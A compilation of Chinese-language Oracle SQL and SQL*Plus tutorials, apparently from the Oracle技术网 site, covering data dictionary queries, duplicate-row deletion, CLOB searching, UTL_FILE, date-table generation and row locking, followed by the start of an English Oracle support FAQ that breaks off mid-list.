3、   向想要复制内容的另一角拖动鼠标，与Word中选取内容的方法一样

4、   内容选取完毕后（所选内容全部反显），鼠标左键可以按住不动，也可以松开

5、   用左手按CTRL+C键（或用鼠标点击系统菜单上：编辑—复制—粘贴）

6、   这时，所选内容会被复制到剪贴板上，所选内容自动取消反显，光标落到SQL*Plus环境的最后一行

方法二：

1、   鼠标移至想要复制内容的开始

2、   用右手食指按下鼠标左键

3、   向想要复制内容的另一角拖动鼠标，与Word中选取内容的方法一样

4、   内容选取完毕后（所选内容全部反显），鼠标左键按住不动，用右手中指按鼠标右键

5、   这时，所选内容会自动复制到SQL*Plus环境的最后一行


Oracle技术网—查看本用户下的各种对象的SQL脚本

位置：首页→SQL技巧→

阿木伯 著
查看本用户下的各种对象的SQL脚本

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • SQL语句：
      表：
          select * from cat;
          select * from tab;
          select table_name from user_tables;
      视图：
          select text from user_views where view_name=upper('&view_name');
      索引：
          select index_name,table_owner,table_name,tablespace_name,status from user_indexes order by table_name;
      触发器：
          select trigger_name,trigger_type,table_owner,table_name,status from user_triggers;
      快照：
          select owner,name,master,table_name,last_refresh,next from user_snapshots order by owner,next;
      同义词：
          select * from syn;
      序列：
          select * from seq;
      数据库链路：
          select * from user_db_links;
      约束限制：
          select TABLE_NAME,CONSTRAINT_NAME,SEARCH_CONDITION,STATUS from user_constraints;
      本用户读取其他用户对象的权限：
          select * from user_tab_privs;
      本用户所拥有的系统权限：
          select * from user_sys_privs;
      用户：
          select * from all_users order by user_id;
      表空间剩余自由空间情况：
          select tablespace_name,sum(bytes) 总字节数,max(bytes),count(*) from dba_free_space group by tablespace_name；
      数据字典：
          select table_name from dict order by table_name;
      锁及资源信息：
          select * from v$lock;不包括DDL锁
      数据库字符集：
          select name,value$ from props$ where name='NLS_CHARACTERSET';
      inin.ora参数：
          select name,value from v$parameter order by name;
      SQL共享池：
          select sql_text from v$sqlarea;
      数据库：
          select * from v$database
      控制文件：
          select * from V$controlfile;
      重做日志文件信息：
          select * from V$logfile;
      来自控制文件中的日志文件信息：
          select * from V$log;
      来自控制文件中的数据文件信息：
          select * from V$datafile;
      NLS参数当前值：
          select * from V$nls_parameters;
      ORACLE版本信息：
          select * from v$version;
      描述后台进程：
          select * from v$bgprocess;
      查看版本信息：
          select * from product_component_version;


Oracle技术网—查找a表中有，而在b表中没有的记录

位置：首页→SQL技巧→

阿木伯 著
查找a表中有，而在b表中没有的记录

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
    SQL> create table a (
  2  bm char(4),		--编码
  3  mc varchar2(20)		--名称
  4  )
  5  /

表已建立.

SQL> insert into a values('1111','1111');
SQL> insert into a values('1112','1111');
SQL> insert into a values('1113','1111');
SQL> insert into a values('1114','1111');
SQL> insert into a values('1115','1111');

SQL> create table b as select * from a where 1=2;

表已建立.

SQL> insert into b values('1111','1111');
SQL> insert into b values('1112','1111');
SQL> insert into b values('1113','1111');
SQL> insert into b values('1114','1111');

SQL> commit;

完全提交.

SQL> select * from a;

BM   MC
---- --------------------
1111 1111
1112 1111
1113 1111
1114 1111
1115 1111

SQL> select * from b;

BM   MC
---- --------------------
1111 1111
1112 1111
1113 1111
1114 1111

SQL> select bm from a where not exists (select bm from b where a.bm=b.bm);

BM   MC
---- --------------------
1115 1111


Oracle技术网—利用PL/SQL打印ASCII表

位置：首页→SQL技巧→

阿木伯 著
利用PL/SQL打印ASCII表？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

SQL> set serveroutput on size 10240
SQL>
SQL> declare
  2     i number;
  3     j number;
  4     k number;
  5  begin
  6     for i in 2..15 loop
  7         for j in 1..16 loop
  8             k:=i*16+j;
  9             dbms_output.put((to_char(k,'000'))||':'||chr(k)||'  ');
 10             if k mod 8 = 0 then
 11                dbms_output.put_line('');
 12             end if;
 13         end loop;
 14     end loop;
 15  end;
 16  /
033:!   034:"   035:#   036:$   037:%   038:&   039:'   040:(
041:)   042:*   043:+   044:,   045:-   046:.   047:/   048:0
049:1   050:2   051:3   052:4   053:5   054:6   055:7   056:8
057:9   058::   059:;   060:<   061:=   062:>   063:?   064:@
065:A   066:B   067:C   068:D   069:E   070:F   071:G   072:H
073:I   074:J   075:K   076:L   077:M   078:N   079:O   080:P
081:Q   082:R   083:S   084:T   085:U   086:V   087:W   088:X
089:Y   090:Z   091:[   092:\   093:]   094:^   095:_   096:`
097:a   098:b   099:c   100:d   101:e   102:f   103:g   104:h
105:i   106:j   107:k   108:l   109:m   110:n   111:o   112:p
113:q   114:r   115:s   116:t   117:u   118:v   119:w   120:x
121:y   122:z   123:{   124:|   125:}   126:~   127:   128:�
129:   130:   131:   132:   133:   134:   135:   136:
137:   138:   139:   140:   141:   142:   143:   144:
145:   146:   147:   148:   149:   150:   151:   152:
153:   154:   155:   156:   157:   158:   159:   160:
161:   162:   163:   164:   165:   166:   167:   168:
169:   170:   171:   172:   173:   174:   175:   176:
177:   178:   179:   180:   181:   182:   183:   184:
185:   186:   187:   188:   189:   190:   191:   192:
193:   194:   195:   196:   197:   198:   199:   200:
201:   202:   203:   204:   205:   206:   207:   208:
209:   210:   211:   212:   213:   214:   215:   216:
217:   218:   219:   220:   221:   222:   223:   224:
225:   226:   227:   228:   229:   230:   231:   232:
233:   234:   235:   236:   237:   238:   239:   240:
241:   242:   243:   244:   245:   246:   247:   248:
249:   250:   251:   252:   253:   254:   255:�   256:
SQL> show errors
没有错误。
SQL>


Oracle技术网—如何查找、删除表中重复的记录

位置：首页→SQL技巧→

阿木伯 著
如何查找、删除表中重复的记录

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 问题提出：
      1、当我们想要为一个表创建唯一索引时，如果该表有重复的记录，则无法创建成功。
  • 方法原理：
      1、Oracle中，每一条记录都有一个rowid，rowid在整个数据库中是唯一的，
         rowid确定了每条记录是在ORACLE中的哪一个数据文件、块、行上。

      2、在重复的记录中，可能所有列的内容都相同，但rowid不会相同，所以只要确定出重复记录中
         那些具有最大rowid的就可以了，其余全部删除。

      3、以下语句用到了3项技巧：rowid、子查询、别名。
  • 实现方法：
    SQL> create table a (
  2  bm char(4),		--编码
  3  mc varchar2(20)		--名称
  4  )
  5  /

表已建立.

SQL> insert into a values('1111','1111');
SQL> insert into a values('1112','1111');
SQL> insert into a values('1113','1111');
SQL> insert into a values('1114','1111');

SQL> insert into a select * from a;

插入4个记录.

SQL> commit;

完全提交.

SQL> select rowid,bm,mc from a;

ROWID              BM   MC
------------------ ---- -------
000000D5.0000.0002 1111 1111
000000D5.0001.0002 1112 1111
000000D5.0002.0002 1113 1111
000000D5.0003.0002 1114 1111
000000D5.0004.0002 1111 1111
000000D5.0005.0002 1112 1111
000000D5.0006.0002 1113 1111
000000D5.0007.0002 1114 1111

查询到8记录.

查出重复记录
SQL> select rowid,bm,mc from a where a.rowid!=(select max(rowid) from a b where a.bm=b.bm and a.mc=b.mc);

ROWID              BM   MC
------------------ ---- --------------------
000000D5.0000.0002 1111 1111
000000D5.0001.0002 1112 1111
000000D5.0002.0002 1113 1111
000000D5.0003.0002 1114 1111

删除重复记录
SQL> delete from a a where a.rowid!=(select max(rowid) from a b where a.bm=b.bm and a.mc=b.mc);

删除4个记录.

SQL> select rowid,bm,mc from a;

ROWID              BM   MC
------------------ ---- --------------------
000000D5.0004.0002 1111 1111
000000D5.0005.0002 1112 1111
000000D5.0006.0002 1113 1111
000000D5.0007.0002 1114 1111


Oracle技术网—如何对CLOB行字段执行全文检索

如何对CLOB行字段执行全文检索

大家知道，超过4000字的文本一般存储在CLOB中（MSQL、Sysbase是存放在Text中），在目前的Oracle版本（Oracle8i)中，对大字段CLOB仍然不支持在where子句直接的like操作，如何实现对存储在CLOB字段中的内容进行like查找呢？下面的文章或则能给你帮助。虽然在SQL*PLUS中能实现用select直接看到CLOB的内容，但是如何通过DBMS_LOB包实现对中文环境下的CLOB内容的读取我一直没有找到好的方法（使用Documents中提到的Samples只适用英文字符集），这极大的限制了使用第3方软件开发工作的自由度。如果那位仁兄有高招希望Email给我。

表结构：
create table products(
productid number(10) not null ,
name varchar2(255) ,
description CLOB) ;

方法：
SELECT productid, name FROM products
WHERE dbms_lob.instr(products.description,'some text',1,1) > 0;

下面列出了DBMS_LOB包中的过程函数：

APPEND procedure Appends the contents of the source LOB to the destination LOB.

CLOSE procedure Closes a previously opened internal or external LOB.

COMPARE function Compares two entire LOBs or parts of two LOBs.

COPY procedure Copies all, or part, of the source LOB to the destination LOB.

CREATETEMPORARY procedure Creates a temporary BLOB or CLOB and its corresponding index in the user's default temporary tablespace.

ERASE procedure Erases all or part of a LOB.

FILECLOSE procedure Closes the file.

FILECLOSEALL procedure Closes all previously opened files.

FILEEXISTS function Checks if the file exists on the server.

FILEGETNAME procedure Gets the directory alias and file name.

FILEISOPEN function Checks if the file was opened using the input BFILE locators.

FILEOPEN procedure Opens a file.

FREETEMPORARY procedure Frees the temporary BLOB or CLOB in the user's default temporary tablespace.

GETCHUNKSIZE function Returns the amount of space used in the LOB chunk to store the LOB value.

GETLENGTH function Gets the length of the LOB value.

INSTR function Returns the matching position of the nth occurrence of the pattern in the LOB.

ISOPEN function Checks to see if the LOB was already opened using the input locator.

ISTEMPORARY function Checks if the locator is pointing to a temporary LOB.

LOADFROMFILE procedure Loads BFILE data into an internal LOB.

OPEN procedure Opens a LOB (internal, external, or temporary) in the indicated mode.

READ procedure Reads data from the LOB starting at the specified offset.

SUBSTR function Returns part of the LOB value starting at the specified offset.

TRIM procedure Trims the LOB value to the specified shorter length.

WRITE procedure Writes data to the LOB from a specified offset.

WRITEAPPEND procedure Writes a buffer to the end of a LOB.


Oracle技术网—如何对CLOB字段进行全文检索？

位置：首页→SQL技巧→

【点击：】 阿木伯 著
如何对CLOB字段进行全文检索？

  • 系统环境：
      1、数据库：　Oracle 8i R3 (8.1.7) for NT 企业版
  • 说明：

CLOB字段可以select，但select时不可以使用where

SQL> create table a(a clob);

SQL> insert into a values('1234');

SQL> insert into a values('5648');

SQL> select *from a;

1234

5648

SQL> select * from a where a like '%12%';

select * from a where a like '%12%'

                      *

ERROR 位于第 1 行:

ORA-00932: 数据类型不一致

SQL> SELECT * FROM A WHERE dbms_lob.instr(a.a,'12',1,1)>0;

1234

SQL> SELECT * FROM A WHERE dbms_lob.instr(a.a,'5',1,1)>0;

5648


Oracle技术网—如何改变表中列的名字

位置：首页→SQL技巧→

阿木伯 著
如何改变表中列的名字？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      SQL> create table t2(新列名) as select * from t1;　　　　　　 --以新名字命名列名

      SQL> drop table t1;　　　　　　　　　　　　　　　　　　　　　 --删除表1

      SQL> rename t2 to t1;　　　　　　　　　　　　　　　　　　　　 --把表2改名为表1


Oracle技术网—如何改变一个字段初始定义的Check范围

位置：首页→SQL技巧→

阿木伯 著
如何改变一个字段初始定义的Check范围？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      先从user_constraints里查出此约束的名字:(constraint_name)

      SQL> select CONSTRAINT_NAME,TABLE_NAME,SEARCH_CONDITION from user_constraints;

      然后使用语句删除旧约束:

      SQL> alter table xxx drop constraint constraint_name;

      之后再创建新约束:

      SQL> alter table xxx add constraint constraint_name check();


Oracle技术网—如何给表、列加注释

位置：首页→SQL技巧→

【点击：】 阿木伯 著
如何给表、列加注释？

  • 系统环境：
      1、数据库：　Oracle 8i R3 (8.1.7) for NT 企业版
  • 说明：

SQL>comment on table 表 is '表注释';

注释已创建。

SQL>comment on column 表.列 is '列注释';

注释已创建。

SQL> select * from user_tab_comments where comments is not null;

SQL> select * from user_col_comments where comments is not null;


Oracle技术网—如何将 primary key 建在其它的表空间上

位置：首页→SQL技巧→

【点击：】 阿木伯 著
如何将 primary key 建在其它的表空间上？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

利用using index子句实现

conn system/manager

--创建实验表空间
create tablespace test datafile
'c:\test.ora' size 5M
AUTOEXTEND ON NEXT 1M MAXSIZE UNLIMITED
default storage (initial 128K next 1M pctincrease 0)
/

create tablespace test1 datafile
'c:\test1.ora' size 5M
AUTOEXTEND ON NEXT 1M MAXSIZE UNLIMITED
default storage (initial 128K next 1M pctincrease 0)
/

--创建实验用户
  drop user test cascade;
create user test identified by test default tablespace test;
grant connect,resource to test;
conn test/test

--创建实验表1
create table a(a number primary key);

col 用户名 format a10
col 约束名称 format a15
col 约束类型 format a10
col 表名 format a10
col 列名 format a10
col 约束内容 format a20

select a.OWNER 用户名,
       a.CONSTRAINT_NAME 约束名称,
       a.CONSTRAINT_TYPE 约束类型,
       a.TABLE_NAME 表名,
       b.COLUMN_NAME 列名,
       a.SEARCH_CONDITION 约束内容
from USER_CONSTRAINTS a,USER_CONS_COLUMNS b
where a.CONSTRAINT_NAME=b.CONSTRAINT_NAME;

用户名     约束名称        约束类型   表名       列名       约束内容
---------- --------------- ---------- ---------- ---------- ---------
TEST       SYS_C001232     P          A          A

col table_owner format a15
col table_name  format a15
col index_name  format a15
col tablespace_name format a15

select table_owner,table_name,index_name,tablespace_name from user_indexes;

TABLE_OWNER     TABLE_NAME      INDEX_NAME      TABLESPACE_NAME
--------------- --------------- --------------- ---------------
TEST            A               SYS_C001232     TEST

--创建实验表2
create table b
(
b number constraint pr_b
primary key
using index
tablespace test1
);

select a.OWNER 用户名,
       a.CONSTRAINT_NAME 约束名称,
       a.CONSTRAINT_TYPE 约束类型,
       a.TABLE_NAME 表名,
       b.COLUMN_NAME 列名,
       a.SEARCH_CONDITION 约束内容
from USER_CONSTRAINTS a,USER_CONS_COLUMNS b
where a.CONSTRAINT_NAME=b.CONSTRAINT_NAME;

用户名     约束名称        约束类型   表名       列名       约束内容
---------- --------------- ---------- ---------- ---------- -----------
TEST       PR_B            P          B          B
TEST       SYS_C001232     P          A          A

select table_owner,table_name,index_name,tablespace_name from user_indexes;

TABLE_OWNER     TABLE_NAME      INDEX_NAME      TABLESPACE_NAME
--------------- --------------- --------------- ---------------
TEST            B               PR_B            TEST1
TEST            A               SYS_C001232     TEST


Oracle技术网—如何删除表中的列

位置：首页→SQL技巧→

阿木伯 著
如何删除表中的列？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      SQL> create table t2 as select <specific columns> from t1;　　--以第一个表中的某列建立第二个新表

      SQL> drop table t1;　　　　　　　　　　　　　　　　　　　　　 --删除表1

      SQL> rename t2 to t1;　　　　　　　　　　　　　　　　　　　　 --把表2改名为表1

      Oracle 8i及以上版本中，可以使用以下语句

      SQL> alter table 表1 drop column 列1;


Oracle技术网—如何使‘CREATE TABLE AS SELECT’能支持ORDER BY ？

如何使‘CREATE TABLE AS SELECT’能支持ORDER BY ？

大家都知道，“CREATE TABLE AS SELECT”这个SQL命令并不支持“ORDER BY”，但如果我们想增加一个表，它存储的是已经排列过的一组数据，这些数据来自一个现有表，该怎么办呢？

哈哈，可以通过先建立一个VIEW，然后再CREATE，是不是一个不错的想法，看看下面的这篇文章，对你或许有用。

一般情况下，对一个TABLE中的数据进行分类排序后有利于优化数据库的查询性能。

例如：你的应用程序需要频繁的执行一个查询
SELECT * FROM EMP WHERE NAME LIKE ‘M%’；

如果EMP表中的所有行都被他们的的名字排了序，那么你的查询将会有显著提高。因为NAME中所有包含‘M’的行都被存储在了一起，ORACLE在查询数据时仅仅从表中取得很少的DATA BLOCKS。当然，如果你的TABLE中的数据是静态的，那么这个很好办到，即在你CREATE TABLE时按照顺序INSERT即可。但是往往我们的TABLE中的数据时常要更新，而SQL又不支持带ORDER BY 字句的INSERT INTO ... SELECT ... FROM ...和CREATE TABLE AS SELECT ... FROM ...命令，于是只能放弃固有的排序了，结果当数据达到十几万条记录时，查询性能就显著的下降了。如何处理这样的问题呢，有两个解决的方法。

这里提供一个方法，通过GROUP BY操作来完成。

CREATE VIEW EMPGROUP AS
SELECT NAME，EMPID，HIREDATE，ROWNUM FROM EMP
GROUP BY NAME， EMPID， HIREDATE，ROWNUM；

然后用这个VIEW来增加一个TABLE

CREATE TABLE SORTED_EMP AS SELECT NAME， EMPID， HIREDATE FROM EMPGROUP；

注意：

1、如果你使用ORACLE7.3以上版本，可以使用INLINE VIEW代替EMPGROUP VIEW。

2、如果你建VIEW时忽略了ROWNUM，那么由于使用了GROUP BY，会有大量的重复记录出现。


Oracle技术网—如何通过 SQL*PLUS 将符号 & 、'号(单引号) 插入Oracle数据库的表中

位置：首页→SQL技巧→

如何通过 SQL*PLUS 将符号 & 、'号(单引号) 插入ORACLE数据库的表中？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 命令类型：
      SQL> create table a(列1 varchar2(10));　　　　　　　--

      SQL> insert into a values('i''m good');　　　　　　 --两个''可以表示一个'

      SQL> insert into a values('i'||chr(39)||'m good');　--chr(39)代表字符'

      SQL> insert into a values('a'||'&'||'b');　　　　　 --

      SQL> select *from a;　　　　　　　　　　　　　　　　--和select * from a;效果一样

      列1
      ----------
      i'm good
      a&b


Oracle技术网—如何用SQL生成SQL批处理文件

位置：首页→SQL技巧→

阿木伯 著
如何用SQL生成SQL批处理文件？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 问题提出：
      1、用户需要对数据库用户下的每一张表都执行一个相同的SQL操作，这时，一遍、一遍的键入SQL语句是很麻烦的
  • 实现方法：
    SQL> set heading off				--禁止输出列标题
SQL> set feedback off				--禁止显示最后一行的计数反馈信息

列出当前用户下所有同义词的定义，可用来测试同义词的真实存在性
select 'desc '||tname from tab where tabtype='SYNONYM';

查询当前用户下所有表的记录数
select 'select '''||tname||''',count(*) from '||tname||';' from tab where tabtype='TABLE';

把所有符合条件的表的select权限授予为public
select 'grant select on '||table_name||' to public;' from user_tables where 《条件》;

删除用户下各种对象
select 'drop '||tabtype||' '||tname from tab;

删除符合条件用户
select 'drop user '||username||' cascade;' from all_users where user_id>25;

快速编译所有视图
----当在把数据库倒入到新的服务器上后(数据库重建)，需要将视图重新编译一遍，
----因为该表空间视图到其它表空间的表的连接会出现问题，可以利用PL/SQL的语言特性，快速编译。

SQL> SPOOL ON.SQL
SQL> SELECT'ALTER VIEW '||TNAME||' COMPILE;' FROM TAB;
SQL> SPOOL OFF
然后执行ON.SQL即可。
SQL> @ON.SQL
当然，授权和创建同义词也可以快速进行，如：
SQL> SELECT 'GRANT SELECT ON '||TNAME||' TO 用户名;' FROM TAB;
SQL> SELECT 'CREATE SYNONYM '||TNAME||' FOR 用户名.'||TNAME||';' FROM TAB;


Oracle技术网—如何在PL_SQL中读写文件

位置：首页→SQL技巧→

阿木伯 著
如何在PL/SQL中读写文件？

  • 软件环境：
      1、服务器端：Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：

PL/SQL 3.3以上的版本中，UTL_FILE包允许用户通过PL/SQL读写操作系统文件。如下：
declare
    file_handle UTL_FILE.FILE_TYPE;
begin
    file_handle := UTL_FILE.FOPEN('/tmp', '文件名', 'w');
    UTL_FILE.PUTF(file_handle, '写入的信息\n');
    UTL_FILE.FCLOSE(file_handle);
exception
    WHEN utl_file.invalid_path THEN
    raise_application_error(-20000, 'ERROR: Invalid path for file or path not in INIT.ORA.');
end;

PutF()过程用来以指定格式把文本写入一个文件

Put_Line()过程把一个指定的字符串写入文件并在文件中开始新的一行


Oracle技术网—如何自动生成一个含有20000101至20500101共50年日期的表

位置：首页→SQL技巧→

阿木伯 著
如何自动生成一个含有20000101至20500101共50年日期的表？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • SQL语句：
        drop table da_yyyymmdd;　　　　　　　　　　　　　　　　--如果有，先删除此表
      create table da_yyyymmdd(rq char(8) PRIMARY KEY);　　　　--建立表，rq（日期）为主关键字

      declare
              i number;　　　　　　　　 --循环用
              j char(8);　　　　　　　　--记录日期值
      begin
              j:='20000101';　　　　　　　　　　　　　　　　　　　　　　　　 --设初始值
              for i in 1..18250 loop　　　　　　　　　　　　　　　　　　　　 --365*50=600天
              insert into da_yyyymmdd values(j);　　　　　　　　　　　　　　 --insert记录
              j:=to_char(to_date(j,'yyyymmdd')+1,'yyyymmdd');　　　　　　　　--日期加1天
              end loop;　　　　　　　　　　　　　　　　　　　　　　　　　　　--循环结束
      end;
      /
      commit;　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　--提交，PL/SQL块不自动提交

    转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/


Oracle技术网—如何自动生成一个含有2000年01月至2050年01月共50年月份的表

位置：首页→SQL技巧→

阿木伯 著
如何自动生成一个含有2000年01月至2050年01月共50年月份的表？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • SQL语句：
        drop table da_yyyymm;　　　　　　　　　　　　　　　　--如果有，先删除此表
      create table da_yyyymm(month char(6) PRIMARY KEY);　　 --建立表，，month（月份）为主关键字

      declare
              i number;　　　　　　　　 --循环用
              j char(6);　　　　　　　　--记录月份值
      begin
              j:='200001';　　　　　　　　　　　　　　　　　　　　　　　　 --设初始值
              for i in 1..600 loop　　　　　　　　　　　　　　　　　　　　 --12*50=600个月
              insert into da_yyyymm values(j);　　　　　　　　　　　　　　 --insert记录
              j:=to_char(add_months(to_date(j,'yyyymm'),1),'yyyymm');　　　--月份值加1
              end loop;　　　　　　　　　　　　　　　　　　　　　　　　　　--循环结束
      end;
      /
      commit;　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　--提交，PL/SQL块不自动提交

    转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/


Oracle技术网—删除a表中和b表相同的数据

位置：首页→SQL技巧→

阿木伯 著
删除a表中和b表相同的数据

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 问题提出：
      1、在做数据转储业务的时候，如果发生操作错误，有可能出现主表和副表中都有同一种数据，
         这样结算的结果就有可能发生错误。
  • 实现方法：
    SQL> create table a (
  2  bm char(4),		--编码
  3  mc varchar2(20)		--名称
  4  )
  5  /

表已建立.

SQL> insert into a values('1111','1111');
SQL> insert into a values('1112','1111');
SQL> insert into a values('1113','1111');
SQL> insert into a values('1114','1111');
SQL> insert into a values('1115','1111');

SQL> create table b as select * from a where 1=2;

表已建立.

SQL> insert into b values('1111','1111');
SQL> insert into b values('1112','1111');
SQL> insert into b values('1113','1111');
SQL> insert into b values('1114','1111');

SQL> commit;

完全提交.

SQL> select * from a;

BM   MC
---- --------------------
1111 1111
1112 1111
1113 1111
1114 1111
1115 1111

SQL> select * from b;

BM   MC
---- --------------------
1111 1111
1112 1111
1113 1111
1114 1111

方法一：exists子句

SQL> delete from a where exists (select 'X' from b where a.bm=b.bm and a.mc=b.mc);

删除4个记录.

where条件：如果两个表中都拥有相同字段的主键（primary key），则只需比较两个主键就可以了

方法二：in子句

SQL> delete from a where (bm,mc) in (select bm,mc from b);

删除4个记录.

SQL> select * from a;

BM   MC
---- --------------------
1115 1111

实际测试结论：
在表不是很大时，用in子句速度还可以忍受，而如果记录量很多时（十万条以上），in子句简直让人难以人忍受，速度奇慢。


Oracle技术网—在Oracle快速进行数据行存在性检查

在Oracle快速进行数据行存在性检查

当在应用程序的业务逻辑中需要检查一个外键是否有相关的主键时，往往使用Select Count(*)类型的SQL语句。这是一个很显而易的方法，但却不是最快的方法。Count(*)函数调用可能会引起对整个表的进行扫描，这是一件很费时的操作。一个更好的方法是使用Oracle提供的称为ROWNUM的新特性，使用这个特性可以使数据库只检索一个启示就可以判断主键是否能与外键相配，这比Count(*)方法快得多，例如:

SQL Using Count(*)

    SELECT Count(*) INTO :ll_Count
       FROM ORDER
       WHERE PROD_ID = :ls_CheckProd
       USING SQLCA;

    IF ll_Count > 0 THEN // Cannot delete product

SQL Using ROWNUM

   SELECT ORDER_ID INTO :ll_OrderID
       FROM ORDER
       WHERE PROD_ID = :ls_CheckProd
          AND ROWNUM < 2
       USING SQLCA;

    IF SQLCA.SQLNRows <> 0 THEN // cannot delete product


Oracle技术网—怎样查看表的结构

位置：首页→SQL技巧→

阿木伯 著
怎样查看表的结构？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

查看当前用户下有什么对象（表、视图、同义词、快照）
SQL> select * from tab;

查看表结构
SQL> describe 表名

简写以上命令
SQL> desc 表名


Oracle技术网—怎样改变SQL*Plus启动时默认路径

位置：首页→SQL技巧→

【点击：】 阿木伯 著
怎样改变SQL*Plus启动时默认路径？

  • 软件环境：
      1、Windows 98 第二版
      2、Oracle数据库版本为：Personal Oracle7 Release 7.3.4.0.0
      3、Oracle安装路径为：C:\ORAWIN95
  • 实现方法：
           一般来讲，安装完Oracle后，SQL*Plus的默认操作路径为C:\ORAWIN95\bin，如下图：

         SQL*Plus 3.3

       改变默认操作路径的方法如下：
       1、“开始”→“程序”→“Oracle for Windows 95”→“SQL Plus 3.3”  SQL*Plus 3.3 图标
       2、在这个快截方式上点击鼠标右键→“复制(C)”
       3、回到桌面（WIN键+M）
       4、鼠标右键→“粘贴(P)”→生成新的“快捷方式”，如下图：
         SQL*Plus 3.3 快捷方式
       5、给此“快捷方式”取名，假设此SQL*Plus想通过双击即连入 system 超级用户，则命名为为：system
       6、鼠标右键→“属性(R)”
       7、修改“起始位置(S)”为硬盘上实际存在的一个目录，如：user1
       如下图：
         SQL*Plus 3.3

       8、点击“确定”即可。
          注意：user1一定要存在，否则会出现如下情况，如图：
         SQL*Plus 3.3

                                                        阿木伯

           转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/


Oracle技术网—怎样计算表中的记录数

位置：首页→SQL技巧→

阿木伯 著
怎样计算表中的记录数？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

查看当前用户下有什么对象（表、视图、同义词、快照）
SQL> select * from tab;

查看表结构
SQL> desc 表名

查看表中记录数
SQL> select count(*) from 表名;

SQL> select count(rowid) from 表名;


Oracle技术网—怎样在SQL*Plus中使用 '&' 来实现自定义参数变量？

位置：首页→SQL技巧→

阿木伯 著
怎样在SQL*Plus中使用 '&' 来实现自定义参数变量？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
           SQL> select * from &table_name;
       为table_name输入值: dba_users
       原(值)   1: select * from &table_name
       新(值)   1: select * from dba_users

       USERNAME  USER_ID PASSWORD           DEFAULT_TABLESPACE  TEMPORARY_TABLESPACE   CREATED     PROFILE
       -------- -------- ------------------ ------------------- ---------------------- ----------- -------
       SYS             0 65D95B5448E10E2E   SYSTEM              SYSTEM                 30-OCT-97   DEFAULT
       SYSTEM          5 D4DF7931AB130E37   USER_DATA           TEMPORARY_DATA         30-OCT-97   DEFAULT
       SCOTT          10 F894844C34402B67   USER_DATA           TEMPORARY_DATA         30-OCT-97   DEFAULT

       查询到3记录.

       SQL>


Oracle技术网—怎样在查询记录时给记录加锁

位置：首页→SQL技巧→

【点击：】 阿木伯 著
怎样在查询记录时给记录加锁？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

利用SELECT的FOR UPDATE子句实现

conn system/manager

--创建实验用户
grant connect,resource to test identified by test;

conn test/test

--创建实验表1
create table a(a number);
insert into a values(1);
commit;

select * from a for update;
或
select * from a for update of a.a;（a表的a列）

--新打开一个SQL*Plus窗口
conn test/test（test用户上的第二个会话）
delete from a;

此时，系统停顿状态，等待解锁，
只要在第一个窗口发出roll;或commit;命令，即可解除锁定状态。


Oracle7 7.3.2.2

                     RDBMS SUPPORT's TOP 21

   Oracle Worldwide Technical Support answers approximately 6000 questions
 a week.  In the RDBMS support group we find there is often a common theme to
 the questions. Following are some of the most commonly asked questions and
 problems encountered in the RDBMS technical support group. These questions
 are based on problems encountered by relatively new DBA's.  Also included
 are answers and/or tools to help further identify the problem.

1.  Q. What should I do about this warning: "Warning in SQLPLUS "product
       information table not loaded"?
    A. Run $ORACLE_HOME/sqlplus/admin/pupbld.sql as system (see appendix of
       sqlplus reference guide for details).

2.  Q. How can users be restricted from issuing DML from SQLPLUS (when within
       forms they are restricted but in SQLPLUS they aren't)
    A. Use the Product User Profile table in SQLPLUS (created by pupbld.sql.)

3.  Q. Trying to restore from a full export and getting "duplicate key in
       index".  Why is this occurring?
    A. The DB was not reinitialized before import
       recreate DB, run catalog.sql and expvew.sql.

4.  Q. Why is performance slow on an particular application?
    A. Run EXPLAIN PLAN and Tkprof to gather info about execution plan and
       some statistics (this doesn't necessarily solve the problem but will
       help to identify it).

5.  Q. Why is a tablespace that has been dropped still in the Data
       Dictionary?
    A. It is probably in the DD as 'invalid'...it will remain there unless
       the DB is reinitialized.

6.  Q. I can't create objects in new tablespaces. What's wrong?
